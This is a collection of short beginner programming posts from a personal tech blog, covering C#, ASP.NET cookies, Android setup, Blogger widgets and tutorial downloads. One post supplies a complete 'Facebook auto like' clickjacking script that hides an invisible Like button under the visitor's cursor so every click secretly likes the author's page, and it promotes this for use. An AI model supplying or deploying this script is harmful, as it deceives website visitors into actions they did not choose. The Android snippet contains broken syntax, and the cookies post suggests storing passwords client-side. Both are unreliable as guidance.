Showing posts with label programming. Show all posts

Here we are creating Notepad Application using C# with following functionality.

File: New,Open,Save,Print,Exit
Edit:Undo,Cut,Copy,Paste,Delete,Find,Select All,Date/Time
Format:Font,Color
Help:About Notepad X




For Previous tutorial
http://futurextech.blogspot.com/2013/12/creating-sample-notepad-application.html

Find
Create another web form which will pop on clicking find Menuitem.


Cookies is a small piece of information stored on the client machine.It is used to store user preference information like Username, Password,City and Phone Number etc on client machines. We need to import namespace called  System.Web.HttpCookie before we use cookie. 
  
Type of Cookies?

Persist Cookie - A cookie has not have expired time Which is called as Persist Cookie.

Non-Persist Cookie - A cookie has expired time Which is called as Non-Persist Cookie.
facebook like script :: futureX
Here is the code you can use for
increasing your Facebook likes
automatically.

Auto Like script can get activated whenever someone check your site or blog. This is a awesome script for anyone wanting to make a viral Facebook fan page. Everyone that goes to your site will like you page automatically (We all clicks at least once on any site, we just don't realize it).


1) Put this script before </head> tag.

<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
    if ( $(document.activeElement).attr('id')=="fbframe" )
    {
        clearInterval(interval);
        iflag=1;
    }  
}
       
</script>



2) Put this code before </body> tag.


<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">

         <iframe src="http://www.facebook.com/plugins/like.php?href=YOUR FACEBOOK ID HERE&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
       
      <!--end facebook like frame code-->

    </div>
   
   
      <script>
    var iflag = 0;
    var icontainer = document.getElementById('icontainer');  
    var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
   
   
   
    function mouseFollower(e){

/*                    DO NOT EDIT THIS                         */

    if (window.event)
    { // for IE
        icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
        icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
    }
    else
    {
        icontainer.style.top = (e.pageY-5)+'px';
        icontainer.style.left = (e.pageX-5)+'px';
    }

    }
    document.onmousemove = function(e) {
        if (iflag == 0) {mouseFollower(e);}
    }

    </script>

1) For creating new project

  • select File>New>Project.
  • eclipse android wizard  :: futureX techblog
  • select the android project & click next.  
  • fill the details in dialog box & click finish. See the instructions here.
Now an android project have been created. you can simply explore it & see simple program.

eclipse android main :: futureX techblog
 
2) Write the message

For writing the message, we are using TextView class. Change the on create method as

public void onCreate (Bundle savedInstanceState){
super.onCreate (savedInstanceState);
TextView tv = new TextView(this);
tv.setText =("Hello android");
setContentView(tv); // Pass the TextView object
}

3) Run the application

right click on your project > Run as > Android application

android emulator may takes 2-3 min. to run the application.

 


An Android project contains all the files that comprise the source code for your Android app. The Android SDK tools make it easy to start a new Android project with a set of default project directories and files.This lesson shows how to create a new project  using Eclipse (with the ADT plugin) .

Create a Project with Eclipse

1) In Eclipse, click New Android App Project  in the toolbar. (If you don’t see this button, then you have not installed the ADT plugin—see Installing the Eclipse Plugin.)

2) Fill in the form that appears:

creating android project with eclipse :: futureX techblog


  • Application Name is the app name that appears to users. For this project, use "My First App."
  • Project Name is the name of your project directory and the name visible in Eclipse.
  • Package Name is the package namespace for your app (following the same rules as packages in the Java programming language). Your package name must be unique across all packages installed on the Android system. For this reason, it's generally best if you use a name that begins with the reverse domain name of your organization or publisher entity. For this project, you can use something like "com.example.myfirstapp." However, you cannot publish your app on Google Play using the "com.example" namespace.
  • Build SDK is the platform version against which you will compile your app. By default, this is set to the latest version of Android available in your SDK. (It should be Android 4.1 or greater; if you don't have such a version available, you must install one using the SDK Manager). You can still build your app to support older versions, but setting the build target to the latest version allows you to enable new features and optimize your app for a great user experience on the latest devices.
  • Minimum Required SDK is the lowest version of Android that your app supports. To support as many devices as possible, you should set this to the lowest version available that allows your app to provide its core feature set. If any feature of your app is possible only on newer versions of Android and it's not critical to the app's core feature set, you can enable the feature only when running on the versions that support it.
             Leave this set to the default value for this project.
             Click Next.

3) The following screen provides tools to help you create a launcher icon for your app.
You can customize an icon in several ways and the tool generates an icon for all screen densities. Before you publish your app, you should be sure your icon meets the specifications defined in the Iconography design guide.
Click Next.

4) Now you can select an activity template from which to begin building your app.
For this project, select BlankActivity and click Next.

5)Leave all the details for the activity in their default state and click Finish.

Your Android project is now set up with some default files and you’re ready to begin building the app.




We all had seen author info widget below each post on WordPress blogs, but actually its not much seen in Blogger.There are endless possibilities to makes your Blogger blog look like a WordPress blog. So to make that note true, today I am going to teach you how to add author info widget, below every blog post.

Step 1: Login to your Blogger dashboard and navigate to Layout > Edit HTML and check the box of expand widget templates. Now search for the code  ]]></b:skin> once you find it, replace the code with the below code


.author_info {
        float: left;
        width: 600px;
        padding: 10px;
        border: 1px solid #ccc;
        margin-bottom: 15px;
        margin-top: 15px;
        background: #eee;
}
.author_info h3 {
        margin-bottom: 10px;
}
.author_photo {
        float: right;
        margin: 0 0 0 10px;
}
.author_photo img {
        border: 1px solid #666;
}
]]></b:skin>


Step 2: Now we are going to add the div part of the author info widget. To do that search for the code <div class='post-footer-line post-footer-line-1'> and paste the below code after <div class='post-footer-line post-footer-line-1'>



<b:if cond='data:blog.pageType == &quot;item&quot;'>
<div class='author_info'>
<div class='author_photo'>
<img alt='author' src='http://your pic url'/></div>
                    <h3>This post was written by:</h3>                  

                                        <p><a href='http://about.me/parmar_live' title='Posts by parmar_live'>parmar_live</a> - who has written posts on <a href='http://futurextech.blogspot.com/'>futureX</a>.</p>

                    <p>PARMAR is a techblogger and programmer. Follow him on <a href='http://twitter.com/parmar_live'>Twitter</a> or <a href='mailto:parmar_live@about.me'>email him</a><br style='clear:both;'/></p>
                   </div>
</b:if>

Edit your information according to your needs and you all set done, check your blog to see the changes.
programming in C :

download

C FAQs :

download
C/c
C++ FAQs :

download

General interview questions

download
For  adding a social media block including facebook, google+ & twitter to your website, as shown in picture just copy the following code and edit in notepad the following :



                                      

1) google+ id
2) facebook page name or id
3) twitter user name

& now just add this html code to your website :)


Apart from working on traffic and search engine optimization (SEO), there’s a need to intergrate your blog with popular social networking platforms. A floating share buttons (social bookmarking) widget by the right of every page is just one of the gadgets you must add to your blog if you intend to get free traffic from Facebook and twitter.

                                     

1. Log in to your blogger account and click on Design

2. You’re now looking at your blog’s layout, right? Click on Add A Gadget on the sidebar.

3. Select HTML/Java Script

4. Paste the code below into the box and save. There’s no need for a title.


for the right side floating bar


for the left side floating bar
let's put this code into your website and prevent your content to be copied....
Have you noticed, that some web sites do not allow their visitors using right mouse click while pointer is on the blog area. This option is useful for the site and blog owners, who want to minimize the possibilities of the content direct copying to other posts.
W3School tutorials are really helpful to those beginners who want to learn from basics scratch mode.those who are in search of offline w3c tutorials, please find below download link. w3schools tutorials are available online But it would really better if we ca have  any offline version so that we can go through it without being online.

I found Java really interesting Language and as an Software Engineer you have to learn Java to progress in your career. To learn the Java language one must be master in C Language. The C++ knowledge will add the weight to your learning ability but is not essential.
Here we will try to learn the Java programming language for the beginners, I will present you the simple and solid tutorials which will thoroughly guide you to learn this Language. To start with you need the Java JDK Environment which is similar to your TCC/Tc or the GCC compiler. Those who don’t have can downland it from here .


This is a big question for those who are still using Turbo C++ Version 3.0 in Windows Vista. As everyone knows that full screen is not supported with the version 3.0 in Vista; it is ridiculous to work in the small screen where I think no one can ever imagine writing a program there! This solution will help all the C, C++ learners using TC++ 3.0 in Vista.
Copyright © 2013 futureX | Blogger Template by Clairvo